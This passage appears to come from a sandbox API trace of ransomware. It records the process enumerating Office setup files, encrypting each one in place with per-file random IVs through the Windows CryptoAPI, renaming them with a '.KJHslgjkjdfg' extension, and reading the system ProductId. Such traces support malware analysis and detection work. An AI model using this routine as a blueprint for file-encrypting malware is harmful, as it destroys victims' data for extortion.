dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0170.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.237] GetProcessHeap () returned 0x2ef0000 [0170.237] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.237] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0170.237] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0170.239] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0170.240] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.240] GetProcessHeap () returned 0x2ef0000 [0170.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0170.240] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50) returned 1 [0170.240] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.240] WriteFile (in: hFile=0x114, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dfefe8*=0x50, lpOverlapped=0x0) returned 1 [0170.240] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0170.240] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0170.240] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0170.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0170.240] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0170.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0170.240] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.241] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xaec3a, lpOverlapped=0x0) returned 1 [0170.254] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xaec40) returned 1 [0170.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.261] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xaec40, lpOverlapped=0x0) returned 1 [0170.263] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.263] SetEndOfFile (hFile=0x114) returned 1 [0170.268] GetProcessHeap () returned 0x2ef0000 [0170.268] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0170.268] GetProcessHeap () returned 0x2ef0000 [0170.268] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0170.269] CloseHandle (hObject=0x114) returned 1 [0170.269] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0170.269] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0170.269] GetProcessHeap () returned 0x2ef0000 [0170.269] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xd2) returned 0x2f14588 [0170.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.270] GetProcessHeap () returned 0x2ef0000 [0170.270] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.270] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.270] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0170.270] GetProcessHeap () returned 0x2ef0000 [0170.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2d4) returned 0x2f47728 [0170.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.271] GetProcessHeap () returned 0x2ef0000 [0170.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.271] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.271] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.271] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x6, lpOverlapped=0x0) returned 1 [0170.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.274] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.274] GetProcessHeap () returned 0x2ef0000 [0170.274] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.274] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.274] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.274] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.274] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.274] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.274] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.274] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.274] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.274] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.274] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.275] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5aa, lpOverlapped=0x0) returned 1 [0170.275] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0) returned 1 [0170.275] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.275] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5b0, lpOverlapped=0x0) returned 1 [0170.275] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.275] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.275] SetEndOfFile (hFile=0x118) returned 1 [0170.277] GetProcessHeap () returned 0x2ef0000 [0170.277] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.277] GetProcessHeap () returned 0x2ef0000 [0170.277] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.kjhslgjkjdfg")) returned 1 [0170.287] CloseHandle (hObject=0x118) returned 1 [0170.287] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.288] GetProcessHeap () returned 0x2ef0000 [0170.288] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.288] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.288] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.288] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x2, lpOverlapped=0x0) returned 1 [0170.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.290] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.290] GetProcessHeap () returned 0x2ef0000 [0170.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.290] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.290] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.290] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.291] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.291] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.291] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.291] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.291] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.291] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.291] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.291] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x75e, lpOverlapped=0x0) returned 1 [0170.291] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x760, dwBufLen=0x760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x760) returned 1 [0170.291] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.291] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x760, lpOverlapped=0x0) returned 1 [0170.292] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.292] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.292] SetEndOfFile (hFile=0x118) returned 1 [0170.294] GetProcessHeap () returned 0x2ef0000 [0170.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.294] GetProcessHeap () returned 0x2ef0000 [0170.294] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.299] CloseHandle (hObject=0x118) returned 1 [0170.299] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.299] GetProcessHeap () returned 0x2ef0000 [0170.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.299] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.299] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.299] GetProcessHeap () returned 0x2ef0000 [0170.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.299] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.299] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.300] GetProcessHeap () returned 0x2ef0000 [0170.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.300] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.300] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.300] GetProcessHeap () returned 0x2ef0000 [0170.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.300] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.300] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.300] GetProcessHeap () returned 0x2ef0000 [0170.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.300] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.300] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.300] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.300] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.301] RegCloseKey (hKey=0x118) returned 0x0 [0170.301] GetProcessHeap () returned 0x2ef0000 [0170.301] HeapFree (in: 